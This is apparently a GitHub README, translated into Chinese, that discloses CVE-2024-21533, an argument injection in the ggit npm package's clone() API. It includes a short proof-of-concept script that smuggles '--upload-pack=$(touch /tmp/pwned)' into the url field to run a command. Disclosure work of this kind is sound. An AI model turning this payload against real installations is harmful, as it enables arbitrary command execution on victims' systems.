lirantal/CVE-2024-21533-PoC-ggit

GitHub: lirantal/CVE-2024-21533-PoC-ggit

这是一个演示 ggit npm 包中参数注入漏洞的概念验证代码,用于验证 CVE-2024-21533。

Stars: 0 | Forks: 0

# CVE-2024-21533:ggit 中的参数注入漏洞 `ggit` 对自身的描述如下: ``` Local promise-returning git command wrappers ``` 资源: * 项目 GitHub 源码:https://github.com/bahmutov/ggit * 项目 npm 包:https://www.npmjs.com/package/ggit 关于此参数注入漏洞的文章撰写:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability ## 漏洞利用背景 我报告的是 `ggit` npm 包中的一个参数注入漏洞。 此漏洞表现在该库的 `clone()` API 中, 该 API 允许指定要克隆的远程 URL 和克隆到的磁盘上的文件路径。 然而,该库并未对用户输入进行清理,也未验证给定的 URL 方案, 也没有使用 POSIX 标准的双破折号 (`--`) 字符正确地将命令行标志传递给 `git` 二进制文件,以表明选项的结束。 因此,这允许攻击者利用 Git 中 `--upload-pack` 命令行选项导致的参数注入漏洞来执行任意命令。 如果攻击者可以控制克隆的目标文件路径 (`outPath`),那么此漏洞即可被利用。 ## 利用方式 1. 安装 `ggit@2.4.12` 或更早版本 2. 构建如下概念验证代码: ``` const clone = require("ggit").cloneRepo; clone({ url: "--upload-pack=$(touch /tmp/pwned)", folder: "/tmp/dbd", }).then(function () { console.log("cloned repo to destination folder"); }); ``` 3. 观察到磁盘上新创建的文件 `/tmp/pwned` ## 如何贡献 请查阅 [贡献指南](./CONTRIBUTING.md) 以了解参与此项目的规范。 # 作者 Liran Tal
标签:CVE-2024-21533, ggit, Git, GNU通用公共许可证, MITM代理, Node.js, npm, 参数注入, 命令注入, 安全测试, 安全漏洞, 开源漏洞, 攻击性安全, 数据可视化, 暗色界面, 概念验证, 漏洞分析, 编程工具, 网络安全, 路径探测, 远程代码执行, 隐私保护